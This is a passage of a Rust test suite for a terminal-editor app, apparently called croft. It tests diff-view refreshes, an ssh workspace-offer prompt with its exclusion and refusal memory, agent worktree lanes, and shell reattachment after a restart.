    let scm = app.scm_root();
    assert_ne!(
        scm, sub,
        "precondition: the toplevel is not the workspace root"
    );

    std::fs::write(&f, "one\ntwo\n").unwrap();
    app.editor
        .open_head_diff_with_text(
            std::path::PathBuf::from("seed.txt (HEAD)"),
            "one\n",
            &f,
            true,
        )
        .unwrap();
    app.tag_open_diff(crate::widgets::diff::DiffSource::HeadVsWorking {
        root: scm.clone(),
        rel: String::from("seed.txt"),
    });
    git_ok(&root, &["add", "."]);
    git_ok(&root, &["commit", "-m", "two", "--quiet"]);
    app.active_git_bypass_debounce();
    app.refresh_git_status_debounced();
    crate::test_budget::await_spawned(
        crate::test_budget::tests::RESTORED_SHELL_BASE,
        "the HEAD side to follow the commit through the status drain",
        || {
            app.try_install_pending_init();
            app.editor
                .diff
                .as_ref()
                .is_some_and(|d| d.left_lines == d.right_lines && d.right_lines.len() == 2)
        },
    );
}

#[test]
fn a_background_diff_refresh_leaves_the_active_diff_find_and_anchor_alone() {
    // Only a rebuild of the ACTIVE tab recomputes the find bar; a diff
    // refreshing in another split must not scroll or re-anchor the view the
    // reader is on.
    let tmp = tempfile::tempdir().unwrap();
    let a = tmp.path().join("a.txt");
    let b = tmp.path().join("b.txt");
    let c = tmp.path().join("c.txt");
    let d = tmp.path().join("d.txt");
    std::fs::write(&a, "1\n").unwrap();
    std::fs::write(&b, "1\n2\n").unwrap();
    std::fs::write(&c, "x\n").unwrap();
    std::fs::write(&d, "x\nneedle\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_diff(&a, &b).unwrap();
    app.split_editor();
    app.editor.open_diff(&c, &d).unwrap();
    app.open_editor_find();
    app.diff_find_set_query(String::from("needle"));
    // Anchored AFTER the query: `diff_find_apply` scrolls to its match and
    // clears the hunk anchor, which is exactly why a spurious recompute
    // from a background refresh would be visible here.
    app.editor.diff.as_mut().unwrap().nav_anchor = Some(0);
    let before = app.editor.diff.as_ref().unwrap().clone();
    assert!(
        before.find.active.is_some(),
        "precondition: the active diff has a match"
    );

    rewrite_later(&b, "1\n2\n3\n");
    assert!(
        app.refresh_open_diff_views(false, &[], &no_paths()),
        "the background split's diff rebuilt"
    );
    let after = app.editor.diff.as_ref().unwrap();
    assert_eq!(
        after.nav_anchor,
        Some(0),
        "the active diff's hunk anchor is untouched"
    );
    assert_eq!(after.scroll, before.scroll, "and its viewport");
    assert_eq!(
        after.find.active, before.find.active,
        "and its active match"
    );
}

#[test]
fn a_rebuild_that_changes_the_rows_drops_the_hunk_anchor() {
    // `nav_anchor` is the one input to `action_row`, which S/U/R read. Over
    // rebuilt rows the remembered index names whatever now sits there, so
    // the anchor is dropped and the actions fall back to the viewport, as
    // after a manual scroll.
    let (tmp, f) = repo_with_seed("a\nb\nc\nd\ne\n");
    let root = tmp.path().to_path_buf();
    let mut app = App::new(root.clone()).unwrap();
    std::fs::write(&f, "a\nB\nc\nd\nE\n").unwrap();
    app.editor
        .open_head_diff_with_text(
            std::path::PathBuf::from("seed.txt (HEAD)"),
            "a\nb\nc\nd\ne\n",
            &f,
            true,
        )
        .unwrap();
    app.tag_open_diff(crate::widgets::diff::DiffSource::HeadVsWorking {
        root: root.clone(),
        rel: String::from("seed.txt"),
    });
    app.jump_diff_change(true);
    assert!(
        app.editor.diff.as_ref().unwrap().nav_anchor.is_some(),
        "precondition: a jump anchored a hunk"
    );
    // A new hunk ABOVE the anchored one shifts every row under the index.
    rewrite_later(&f, "A\nB\nc\nd\nE\n");
    assert!(app.refresh_open_diff_views(false, &[], &no_paths()));
    assert_eq!(
        app.editor.diff.as_ref().unwrap().nav_anchor,
        None,
        "the anchor does not survive rows it no longer describes"
    );
}

#[test]
fn a_background_diff_keeps_its_find_band_across_a_rebuild() {
    // The active match is recomputed inside `carry_view_from`, so a view
    // rebuilt in a background split keeps its band without the app's
    // find-bar recompute, which only runs for the active tab.
    let tmp = tempfile::tempdir().unwrap();
    let c = tmp.path().join("c.txt");
    let d = tmp.path().join("d.txt");
    std::fs::write(&c, "x\n").unwrap();
    std::fs::write(&d, "x\nneedle\n").unwrap();
    let plain = tmp.path().join("plain.txt");
    std::fs::write(&plain, "hi\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_diff(&c, &d).unwrap();
    app.open_editor_find();
    app.diff_find_set_query(String::from("needle"));
    assert!(app.editor.diff.as_ref().unwrap().find.active.is_some());
    // The diff moves to the background: a split, and a plain file on top.
    app.split_editor();
    app.editor.open_pinned(&plain).unwrap();
    assert!(
        app.editor.diff.is_none(),
        "the active tab is the plain file"
    );

    rewrite_later(&d, "x\nstill a needle\nmore\n");
    assert!(app.refresh_open_diff_views(false, &[], &no_paths()));
    let mut seen = 0;
    for group in app.editor_layout.inactive_groups_mut() {
        for ed in &group.editors {
            if let Some(dd) = ed.diff.as_ref().filter(|dd| dd.right_path == d) {
                seen += 1;
                assert_eq!(dd.find.needle.as_deref(), Some("needle"));
                assert!(
                    dd.find.active.is_some(),
                    "the background view's active match was recomputed in place"
                );
            }
        }
    }
    assert!(seen >= 1, "the background split still holds the diff");
}

#[test]
fn an_ssh_session_raises_the_offer_once_and_drops_it_when_the_session_ends() {
    // #364: the offer appears when a pane's foreground BECOMES `ssh <host>`
    // for a known host, not on every sample of the same session, and it
    // leaves with the session.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // The refusal memory is read from the real cache directory at startup;
    // this machine's must not decide the test.
    app.remote_offer_refused.clear();
    let pane = app.terminals[0].uid();
    app.consider_ssh_offer(pane, Some(String::from("db-1")));
    assert!(
        app.ssh_offer
            .as_ref()
            .is_some_and(|o| o.pane == pane && o.host == "db-1"),
        "a new session offers"
    );
    assert!(
        app.status.starts_with("Connected to db-1"),
        "{:?}",
        app.status
    );
    app.status = String::from("something else happened");
    app.consider_ssh_offer(pane, Some(String::from("db-1")));
    assert_eq!(
        app.status, "something else happened",
        "the same session sampled again does not re-prompt"
    );
    app.status = String::from("Connected to db-1 · Open workspace here?");
    app.consider_ssh_offer(pane, None);
    assert!(
        app.ssh_offer.is_none(),
        "the session ended: the offer is gone"
    );
    assert!(app.status.is_empty(), "and its status line with it");
    // A NEW session to the same host offers again.
    app.consider_ssh_offer(pane, Some(String::from("db-1")));
    assert!(app.ssh_offer.is_some());
}

#[test]
fn the_offer_respects_the_global_switch_the_host_list_and_learned_refusals() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.remote_offer_refused.clear();
    let pane = app.terminals[0].uid();
    app.remote_offer_excluded = vec![String::from("DB-1")];
    app.consider_ssh_offer(pane, Some(String::from("db-1")));
    assert!(
        app.ssh_offer.is_none(),
        "per-host opt-out, case-insensitive"
    );
    app.remote_offer_excluded.clear();
    app.remote_offer_refused
        .insert(String::from("db-1"), std::time::SystemTime::now());
    app.consider_ssh_offer(pane, None);
    app.consider_ssh_offer(pane, Some(String::from("db-1")));
    assert!(
        app.ssh_offer.is_none(),
        "a host that refused provisioning is not offered"
    );
    app.remote_offer_refused.clear();
    app.remote_offer_disabled = true;
    app.consider_ssh_offer(pane, None);
    app.consider_ssh_offer(pane, Some(String::from("db-1")));
    assert!(app.ssh_offer.is_none(), "the global switch");
    app.remote_offer_disabled = false;
    app.consider_ssh_offer(pane, None);
    app.consider_ssh_offer(pane, Some(String::from("db-1")));
    assert!(
        app.ssh_offer.is_some(),
        "and with every gate open it offers"
    );
}

#[test]
fn accepting_or_dismissing_the_offer_clears_it() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // The refusal memory is read from the real cache directory at startup;
    // this machine's must not decide the test.
    app.remote_offer_refused.clear();
    let pane = app.terminals[0].uid();
    app.consider_ssh_offer(pane, Some(String::from("db-1")));
    assert_eq!(
        app.accept_ssh_offer().map(|(host, _)| host).as_deref(),
        Some("db-1")
    );
    assert!(app.ssh_offer.is_none() && app.status.is_empty());
    assert_eq!(app.accept_ssh_offer(), None, "nothing to accept twice");

    app.consider_ssh_offer(pane, None);
    app.consider_ssh_offer(pane, Some(String::from("db-1")));
    assert!(app.ssh_offer.is_some());
    // Esc dismisses through the ordinary key path, whatever pane has focus.
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    assert!(app.ssh_offer.is_none(), "Esc dismissed the offer");
    assert!(app.status.is_empty());
}

#[test]
fn an_untouched_offer_expires_and_a_closed_pane_takes_its_offer_along() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // The refusal memory is read from the real cache directory at startup;
    // this machine's must not decide the test.
    app.remote_offer_refused.clear();
    let pane = app.terminals[0].uid();
    app.consider_ssh_offer(pane, Some(String::from("db-1")));
    app.ssh_offer.as_mut().unwrap().since =
        std::time::Instant::now() - SSH_OFFER_TTL - std::time::Duration::from_secs(1);
    app.expire_ssh_offer();
    assert!(
        app.ssh_offer.is_none(),
        "an offer past its TTL clears itself"
    );

    app.split_terminal().unwrap();
    let second = app.terminals[1].uid();
    app.consider_ssh_offer(second, Some(String::from("db-1")));
    assert!(app.ssh_offer.as_ref().is_some_and(|o| o.pane == second));
    assert!(app.close_terminal_at(1));
    app.expire_ssh_offer();
    assert!(
        app.ssh_offer.is_none(),
        "the pane that owned the offer is gone"
    );
    assert!(
        !app.ssh_offer_seen.contains_key(&second),
        "and its per-pane memory went with it"
    );
}

#[test]
fn a_pane_that_moves_to_another_host_loses_the_old_offer_even_if_the_new_one_is_excluded() {
    // `ssh a cmd; ssh b cmd` inside one sample gap: the offer for A must not
    // stay up (and be accepted with Cmd+K G) once the pane is on B, whether
    // or not B itself is offerable.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.remote_offer_refused.clear();
    let pane = app.terminals[0].uid();
    app.remote_offer_excluded = vec![String::from("b")];
    app.consider_ssh_offer(pane, Some(String::from("a")));
    assert!(app.ssh_offer.as_ref().is_some_and(|o| o.host == "a"));
    app.consider_ssh_offer(pane, Some(String::from("b")));
    assert!(
        app.ssh_offer.is_none(),
        "the offer for A fell when the pane moved to B"
    );
    assert!(app.status.is_empty());
}

#[test]
fn the_offer_switches_apply_on_a_settings_remerge() {
    // The two prefs re-apply on a config save like every other boolean pref,
    // and switching the offer off takes down one already on screen.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // The refusal memory is read from the real cache directory at startup;
    // this machine's must not decide the test.
    app.remote_offer_refused.clear();
    let pane = app.terminals[0].uid();
    app.consider_ssh_offer(pane, Some(String::from("db-1")));
    assert!(app.ssh_offer.is_some());
    let mut prefs = crate::prefs::Prefs {
        disable_remote_offer: true,
        remote_offer_excluded_hosts: vec![String::from("jump")],
        ..Default::default()
    };
    app.apply_merged_settings(&prefs);
    assert!(app.remote_offer_disabled && app.remote_offer_excluded == vec![String::from("jump")]);
    assert!(
        app.ssh_offer.is_none(),
        "the live offer went down with the switch"
    );
    prefs.disable_remote_offer = false;
    app.apply_merged_settings(&prefs);
    assert!(!app.remote_offer_disabled);
    // An offer on screen for a host that just joined the exclusion list
    // goes down too, not only on the global switch.
    app.consider_ssh_offer(pane, None);
    app.consider_ssh_offer(pane, Some(String::from("db-1")));
    assert!(app.ssh_offer.is_some());
    prefs.remote_offer_excluded_hosts = vec![String::from("db-1")];
    app.apply_merged_settings(&prefs);
    assert!(
        app.ssh_offer.is_none(),
        "the newly excluded host's offer went down"
    );
}

#[test]
fn switching_the_offer_off_and_on_forgets_what_each_pane_was_last_seen_on() {
    // While the offer is off the label thread ships no samples, so the
    // per-pane memory stops tracking reality. Session A on db-1, offer off,
    // session A ends and session B to db-1 starts, offer on: B is a new
    // session and must be offered, not mistaken for a continuation of A.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.remote_offer_refused.clear();
    let pane = app.terminals[0].uid();
    app.consider_ssh_offer(pane, Some(String::from("db-1")));
    assert!(app.ssh_offer.is_some());
    let mut prefs = crate::prefs::Prefs {
        disable_remote_offer: true,
        ..Default::default()
    };
    app.apply_merged_settings(&prefs);
    assert!(app.ssh_offer.is_none(), "the switch took the offer down");
    // No `None` sample in between: nothing observed the gap.
    prefs.disable_remote_offer = false;
    app.apply_merged_settings(&prefs);
    app.consider_ssh_offer(pane, Some(String::from("db-1")));
    assert!(
        app.ssh_offer.as_ref().is_some_and(|o| o.host == "db-1"),
        "the first session seen after a re-enable is offered"
    );
}

#[test]
fn taking_a_host_off_the_exclusion_list_offers_the_session_already_on_it() {
    // A pane sampled on db-1 while db-1 was excluded is remembered as seen
    // there; the same host on the next sample would read as the same
    // session and never prompt. Un-excluding the host forgets that, so the
    // next sample offers it.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.remote_offer_refused.clear();
    let pane = app.terminals[0].uid();
    let mut prefs = crate::prefs::Prefs {
        remote_offer_excluded_hosts: vec![String::from("DB-1")],
        ..Default::default()
    };
    app.apply_merged_settings(&prefs);
    app.consider_ssh_offer(pane, Some(String::from("db-1")));
    assert!(app.ssh_offer.is_none(), "excluded: no offer");
    app.consider_ssh_offer(pane, Some(String::from("db-1")));
    assert!(
        app.ssh_offer.is_none(),
        "still the same session, still excluded"
    );
    prefs.remote_offer_excluded_hosts.clear();
    app.apply_merged_settings(&prefs);
    app.consider_ssh_offer(pane, Some(String::from("db-1")));
    assert!(
        app.ssh_offer
            .as_ref()
            .is_some_and(|o| o.pane == pane && o.host == "db-1"),
        "the live session is offered once its host is allowed again"
    );
    // A pane on a host that stayed excluded is untouched by the change.
    prefs.remote_offer_excluded_hosts = vec![String::from("jump"), String::from("db-1")];
    app.apply_merged_settings(&prefs);
    assert!(
        app.ssh_offer.is_none(),
        "re-excluding db-1 takes its offer down"
    );
    app.consider_ssh_offer(pane, Some(String::from("jump")));
    prefs.remote_offer_excluded_hosts = vec![String::from("jump")];
    app.apply_merged_settings(&prefs);
    app.consider_ssh_offer(pane, Some(String::from("jump")));
    assert!(
        app.ssh_offer.is_none(),
        "jump stayed excluded and stayed quiet"
    );
}

#[test]
fn an_in_memory_refusal_stops_blocking_once_its_window_has_passed() {
    // The TTL is applied when the policy is asked, not only when the file
    // is loaded: a croft left open past the window offers the host again.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.remote_offer_refused.clear();
    let pane = app.terminals[0].uid();
    app.remote_offer_refused.insert(
        String::from("db-1"),
        std::time::SystemTime::now()
            - crate::remote::REFUSED_HOST_TTL
            - std::time::Duration::from_secs(60),
    );
    app.consider_ssh_offer(pane, Some(String::from("db-1")));
    assert!(
        app.ssh_offer.is_some(),
        "a refusal older than the TTL no longer suppresses the offer"
    );
}

#[test]
fn cmd_k_g_with_no_offer_open_says_so_instead_of_connecting() {
    // The chord's guidance branch: nothing to accept, nothing launched, a
    // status that says where the offer comes from. (The accept branch runs
    // `request_remote_launch`, which spawns a real ssh; `accept_ssh_offer`
    // is covered directly instead of reaching the network from a test.)
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(app.ssh_offer.is_none());
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('g'), KeyModifiers::NONE)));
    assert!(
        app.status.starts_with("No ssh workspace offer is open"),
        "status: {}",
        app.status
    );
    assert!(app.connect_dialog.is_none(), "nothing was launched");
    assert!(app.pending_remote_launch_host.is_none());
}

#[test]
fn ssh_samples_from_the_label_thread_drive_the_offer_by_shell_pid() {
    // The label thread ships `(shell pid, host)`; the app maps the shell pid
    // to the pane's uid and feeds the same transition logic the direct tests
    // cover. An unknown shell pid is ignored.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.remote_offer_refused.clear();
    let shell = app.terminals[0]
        .shell_pid()
        .expect("the pane has a shell pid");
    let uid = app.terminals[0].uid();
    app.apply_ssh_samples(vec![
        (shell, Some(String::from("db-1"))),
        (-42, Some(String::from("x"))),
    ]);
    assert!(
        app.ssh_offer
            .as_ref()
            .is_some_and(|o| o.pane == uid && o.host == "db-1")
    );
    app.apply_ssh_samples(vec![(shell, None)]);
    assert!(
        app.ssh_offer.is_none(),
        "the session ended through the same path"
    );
}

#[test]
fn a_failed_provisioning_is_remembered_and_a_later_success_forgets_it() {
    // Drives the two notes the install session calls, against the cache-dir
    // override so nothing touches this machine's real memory.
    let _serial = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let tmp = tempfile::tempdir().unwrap();
    struct Restore;
    impl Drop for Restore {
        fn drop(&mut self) {
            *crate::app::CACHE_DIR_OVERRIDE_FOR_TEST.lock().unwrap() = None;
        }
    }
    let _restore = Restore;
    *crate::app::CACHE_DIR_OVERRIDE_FOR_TEST.lock().unwrap() = Some(tmp.path().join("cache"));
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(
        app.remote_offer_refused.is_empty(),
        "a fresh cache dir remembers nothing"
    );
    let pane = app.terminals[0].uid();

    app.note_provisioning_failed("DB-1", "refused");
    assert!(
        app.remote_offer_refused.contains_key("db-1"),
        "remembered in memory, lower-cased"
    );
    let refused_path = crate::remote::refused_hosts_path(&tmp.path().join("cache"));
    let on_disk = crate::remote::load_refused_hosts(&refused_path, std::time::SystemTime::now());
    assert!(on_disk.contains_key("db-1"), "and on disk: {on_disk:?}");
    app.consider_ssh_offer(pane, Some(String::from("db-1")));
    assert!(app.ssh_offer.is_none(), "a refused host is not offered");

    app.note_provisioning_succeeded("db-1");
    assert!(
        !app.remote_offer_refused.contains_key("db-1"),
        "a success forgets it in memory"
    );
    let on_disk = crate::remote::load_refused_hosts(&refused_path, std::time::SystemTime::now());
    assert!(!on_disk.contains_key("db-1"), "and on disk");
    app.consider_ssh_offer(pane, None);
    app.consider_ssh_offer(pane, Some(String::from("db-1")));
    assert!(app.ssh_offer.is_some(), "and the host is offered again");
}

#[test]
fn a_success_forgets_a_refusal_another_croft_recorded() {
    // The refusal file is shared by every croft on the machine. A refusal
    // this instance never loaded (recorded by another one after this one
    // started) must still be erased by a success here, or it outlives the
    // host that demonstrably works for its whole seven-day TTL.
    let _serial = relay_test_lock().lock().unwrap_or_else(|e| e.into_inner());
    let tmp = tempfile::tempdir().unwrap();
    struct Restore;
    impl Drop for Restore {
        fn drop(&mut self) {
            *crate::app::CACHE_DIR_OVERRIDE_FOR_TEST.lock().unwrap() = None;
        }
    }
    let _restore = Restore;
    let cache = tmp.path().join("cache");
    *crate::app::CACHE_DIR_OVERRIDE_FOR_TEST.lock().unwrap() = Some(cache.clone());
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.remote_offer_refused.clear();
    let refused_path = crate::remote::refused_hosts_path(&cache);
    // "Another instance" writes the refusal behind this one's back.
    crate::remote::remember_refused_host(&refused_path, "db-1", std::time::SystemTime::now())
        .unwrap();
    assert!(
        crate::remote::load_refused_hosts(&refused_path, std::time::SystemTime::now())
            .contains_key("db-1")
    );
    app.note_provisioning_succeeded("DB-1");
    assert!(
        !crate::remote::load_refused_hosts(&refused_path, std::time::SystemTime::now())
            .contains_key("db-1"),
        "the disk refusal is gone even though this instance never held it"
    );
}

/// A committed git repo at `dir` for the worktree-lane tests (#348): a lane
/// is a sibling of the repo, so callers put the repo one level inside their
/// tempdir to keep the lane inside it too.
fn init_lane_repo(dir: &std::path::Path) {
    std::fs::create_dir_all(dir).unwrap();
    let git = |args: &[&str]| {
        let st = std::process::Command::new("git")
            .arg("-C")
            .arg(dir)
            .args(args)
            .status()
            .unwrap();
        assert!(st.success(), "git {args:?}");
    };
    git(&["init", "-q", "-b", "main"]);
    git(&["config", "user.email", "a@b"]);
    git(&["config", "user.name", "a"]);
    std::fs::write(dir.join("seed.txt"), "one\n").unwrap();
    git(&["add", "."]);
    git(&["commit", "-q", "-m", "init"]);
}

#[test]
fn a_new_lane_opens_a_named_pane_in_the_worktree_running_the_agent_command() {
    // One chord's worth (#348): worktree, root, and a pane named after the
    // lane sitting in it with the configured agent's launch line typed in.
    // The "agent" is a printf whose typed line does not spell the probe.
    let tmp = tempfile::tempdir().unwrap();
    let repo = tmp.path().join("repo");
    init_lane_repo(&repo);
    let mut app = App::new(repo.clone()).unwrap();
    app.terminal_session_path = tmp.path().join("sessions.json");
    app.agents = crate::agents::AgentTable::from_json(
        r#"[{ "name": "probe", "launch": "printf '%s%s\\n' 'croft-lane' '-seated-1'" }]"#,
    );
    app.lane_agent = Some(String::from("Probe"));
    let before = app.terminals.len();
    app.create_worktree_lane("fix login");
    let lane = tmp.path().join("repo-fix-login");
    assert!(lane.is_dir(), "the worktree exists: {}", app.status);
    assert!(
        app.roots.iter().any(|r| r == lane.canonicalize().unwrap()),
        "and is a workspace root"
    );
    assert_eq!(app.terminals.len(), before + 1, "one new pane");
    let pane = &app.terminals[app.active_terminal];
    assert_eq!(pane.manual_name(), Some("Lane: fix-login"));
    let rec = app
        .lane_panes
        .get(&pane.uid())
        .expect("the pane is recorded as the lane's");
    assert_eq!(rec.branch, "agent/fix-login");
    assert_eq!(rec.agent.as_deref(), Some("probe"), "lower-cased row name");
    assert!(app.status.contains("probe started"), "{}", app.status);
    let budget = crate::test_budget::spawn_budget(crate::test_budget::tests::TERMINAL_PROBE_BASE);
    let started = std::time::Instant::now();
    while started.elapsed() < budget {
        if app.terminals[app.active_terminal]
            .visible_text()
            .contains("croft-lane-seated-1")
        {
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    assert!(
        app.terminals[app.active_terminal]
            .visible_text()
            .contains("croft-lane-seated-1"),
        "the launch line ran in the lane's pane; screen:\n{}",
        app.terminals[app.active_terminal].visible_text()
    );
    // The saved session carries the lane, so a relaunch can seat it again.
    let saved = crate::terminal_session::load(&app.terminal_session_path);
    let root_key = app.workspace_root().display().to_string();
    let lanes: Vec<_> = saved[&root_key]
        .panes
        .iter()
        .filter_map(|p| p.lane.clone())
        .collect();
    assert_eq!(lanes.len(), 1, "{saved:?}");
    assert_eq!(lanes[0].agent.as_deref(), Some("probe"));
    assert_eq!(
        std::path::Path::new(&lanes[0].path),
        lane.canonicalize().unwrap(),
        "recorded canonical, like the roots"
    );
}

#[test]
fn a_lane_without_a_configured_agent_opens_a_plain_shell_and_says_so() {
    let tmp = tempfile::tempdir().unwrap();
    let repo = tmp.path().join("repo");
    init_lane_repo(&repo);
    let mut app = App::new(repo.clone()).unwrap();
    app.terminal_session_path = tmp.path().join("sessions.json");
    app.lane_agent = None;
    app.create_worktree_lane("docs");
    let pane = &app.terminals[app.active_terminal];
    assert_eq!(pane.manual_name(), Some("Lane: docs"));
    assert_eq!(app.lane_panes[&pane.uid()].agent, None);
    assert!(app.status.contains("set lane_agent"), "{}", app.status);
    // An agent named but without a launch line: shell, and the status names
    // the gap rather than reading as a working lane.
    app.agents = crate::agents::AgentTable::from_json(r#"[{ "name": "mute" }]"#);
    app.lane_agent = Some(String::from("mute"));
    app.create_worktree_lane("tests");
    let pane = &app.terminals[app.active_terminal];
    assert_eq!(pane.manual_name(), Some("Lane: tests"));
    assert_eq!(
        app.lane_panes[&pane.uid()].agent,
        None,
        "no agent was seated"
    );
    assert!(
        app.status.contains("no launch line for \"mute\""),
        "{}",
        app.status
    );
}

#[cfg(target_os = "linux")]
#[test]
fn a_restore_reattaches_a_shell_still_running_in_its_pane_host() {
    // #694: croft was killed, not quit, so the pane's host still holds its
    // shell. Restoring reattaches to it (same shell, its screen redrawn)
    // instead of starting a fresh one; a pane whose host is gone falls back
    // to a fresh shell as before. The record keeps naming the live host, so
    // a second crash finds it again.
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path().join("ws");
    std::fs::create_dir_all(&root).unwrap();
    let spec = crate::pane_host::PaneSpec {
        socket: tmp.path().join("pane.sock"),
        cwd: Some(root.clone()),
        env: Vec::new(),
        cols: 80,
        rows: 24,
        argv: ["sh", "-c", "echo still-$((6*7)); exec sh"]
            .iter()
            .map(|a| a.to_string())
            .collect(),
    };
    let socket = spec.socket.clone();
    let host = std::thread::spawn(move || crate::pane_host::serve(&spec));
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(
            std::time::Instant::now() < deadline,
            "the host never listened"
        );
        std::thread::sleep(std::time::Duration::from_millis(10));
    }
    let root_key = root.display().to_string();
    let pane = |name: &str, host: Option<String>| crate::terminal_session::PaneRecord {
        cwd: root_key.clone(),
        name: Some(String::from(name)),
        lane: None,
        transcript: vec![String::from("old transcript")],
        host,
    };
    let session = tmp.path().join("sessions.json");
    let rec = crate::terminal_session::SessionRecord {
        panes: vec![
            pane("kept", Some(socket.display().to_string())),
            pane(
                "gone",
                Some(tmp.path().join("dead.sock").display().to_string()),
            ),
        ],
        active: 0,
    };
    crate::terminal_session::save_for_root(&session, &root_key, rec).unwrap();

    let mut app = App::new(root.clone()).unwrap();
    app.terminal_session_path = session.clone();
    app.restore_terminal_session();
    assert_eq!(app.terminals.len(), 2);
    let kept = &app.terminals[0];
    assert_eq!(kept.host_socket(), Some(socket.as_path()), "reattached");
    assert_eq!(kept.manual_name(), Some("kept"));
    let deadline = std::time::Instant::now() + std::time::Duration::from_secs(4);
    loop {
        let (lines, _) = kept.grid_lines();
        if lines.iter().any(|l| l.contains("still-42")) {
            assert!(
                !lines.iter().any(|l| l.contains("old transcript")),
                "the live screen, not the saved transcript: {lines:?}"
            );
            break;
        }
        assert!(std::time::Instant::now() < deadline, "{lines:?}");
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    let gone = &app.terminals[1];
    assert_eq!(
        gone.host_socket(),
        None,
        "a dead host falls back to a fresh shell"
    );
    assert_eq!(gone.manual_name(), Some("gone"));

    let saved = crate::terminal_session::load(&session);
    let saved = &saved[&root_key];
    assert_eq!(
        saved.panes[0].host.as_deref(),
        Some(socket.to_str().unwrap())
    );
    assert_eq!(saved.panes[1].host, None);

    // Quitting closes the panes, which ends the reattached shell too.
    drop(app);
    host.join().unwrap().unwrap();
}

#[test]
fn a_restored_lane_pane_is_a_lane_again_with_its_agent_seated() {
    // The association survives a relaunch (#348): the saved lane record
    // brings the pane back in the worktree, re-registered as the lane's, and
    // the agent's CURRENT launch line typed in. A lane whose worktree is
    // gone comes back as an ordinary pane.
    let tmp = tempfile::tempdir().unwrap();
    let repo = tmp.path().join("repo");
    init_lane_repo(&repo);
    let session = tmp.path().join("sessions.json");
    let lane_dir = tmp.path().join("repo-fix-login");
    std::fs::create_dir_all(&lane_dir).unwrap();
    let root_key = repo.display().to_string();
    let rec = crate::terminal_session::SessionRecord {
        panes: vec![
            crate::terminal_session::PaneRecord {
                host: None,
                cwd: root_key.clone(),
                name: None,
                transcript: Vec::new(),
                lane: None,
            },
            crate::terminal_session::PaneRecord {
                host: None,
                cwd: lane_dir.display().to_string(),
                name: Some(String::from("Lane: fix-login")),
                transcript: Vec::new(),
                lane: Some(crate::terminal_session::LaneRecord {
                    path: lane_dir.display().to_string(),
                    branch: String::from("agent/fix-login"),
                    agent: Some(String::from("probe")),
                    base: None,
                }),
            },
            crate::terminal_session::PaneRecord {
                host: None,
                cwd: root_key.clone(),
                name: Some(String::from("Lane: gone")),
                transcript: Vec::new(),
                lane: Some(crate::terminal_session::LaneRecord {
                    path: tmp.path().join("repo-gone").display().to_string(),
                    branch: String::from("agent/gone"),
                    agent: Some(String::from("probe")),
                    base: None,
                }),
            },
        ],
        active: 1,
    };
    crate::terminal_session::save_for_root(&session, &root_key, rec).unwrap();
    let mut app = App::new(repo.clone()).unwrap();
    app.terminal_session_path = session;
    app.agents = crate::agents::AgentTable::from_json(
        r#"[{ "name": "probe", "launch": "printf '%s%s\\n' 'croft-lane' '-back-2'" }]"#,
    );
    app.restore_terminal_session();
    assert_eq!(app.terminals.len(), 3);
    let uid = app.terminals[1].uid();
    assert_eq!(
        app.lane_panes.get(&uid).map(|l| l.branch.as_str()),
        Some("agent/fix-login")
    );
    assert!(
        !app.lane_panes.contains_key(&app.terminals[2].uid()),
        "a lane whose worktree is gone is not a lane"
    );
    let budget = crate::test_budget::spawn_budget(crate::test_budget::tests::TERMINAL_PROBE_BASE);
    let started = std::time::Instant::now();
    while started.elapsed() < budget
        && !app.terminals[1]
            .visible_text()
            .contains("croft-lane-back-2")
    {
        std::thread::sleep(std::time::Duration::from_millis(20));
    }
    assert!(
        app.terminals[1]
            .visible_text()
            .contains("croft-lane-back-2"),
        "the agent was seated again; screen:\n{}",
        app.terminals[1].visible_text()
    );
    assert!(
        !app.terminals[2]
            .visible_text()
            .contains("croft-lane-back-2"),
        "nothing was typed into the pane whose lane is gone"
    );
}

#[test]
fn a_restored_lane_pane_spawns_in_its_worktree_not_where_the_shell_had_wandered() {
    // The launch line is typed into the restored shell, so that shell must
    // be in the lane: not in the directory the old shell had cd'd to at save
    // time, and not, when that directory is gone, in the PRIMARY repo the
    // cwd fallback names. The "agent" prints its cwd so the test can read
    // where it was seated.
    let tmp = tempfile::tempdir().unwrap();
    let repo = tmp.path().join("repo");
    init_lane_repo(&repo);
    let session = tmp.path().join("sessions.json");
    let lane_dir = tmp.path().join("repo-fix-login");
    std::fs::create_dir_all(&lane_dir).unwrap();
    let elsewhere = tmp.path().join("notes");
    std::fs::create_dir_all(&elsewhere).unwrap();
    let vanished = lane_dir.join("scratch");
    let root_key = repo.display().to_string();
    let lane = |agent: &str| crate::terminal_session::LaneRecord {
        path: lane_dir.display().to_string(),
        branch: String::from("agent/fix-login"),
        agent: Some(String::from(agent)),
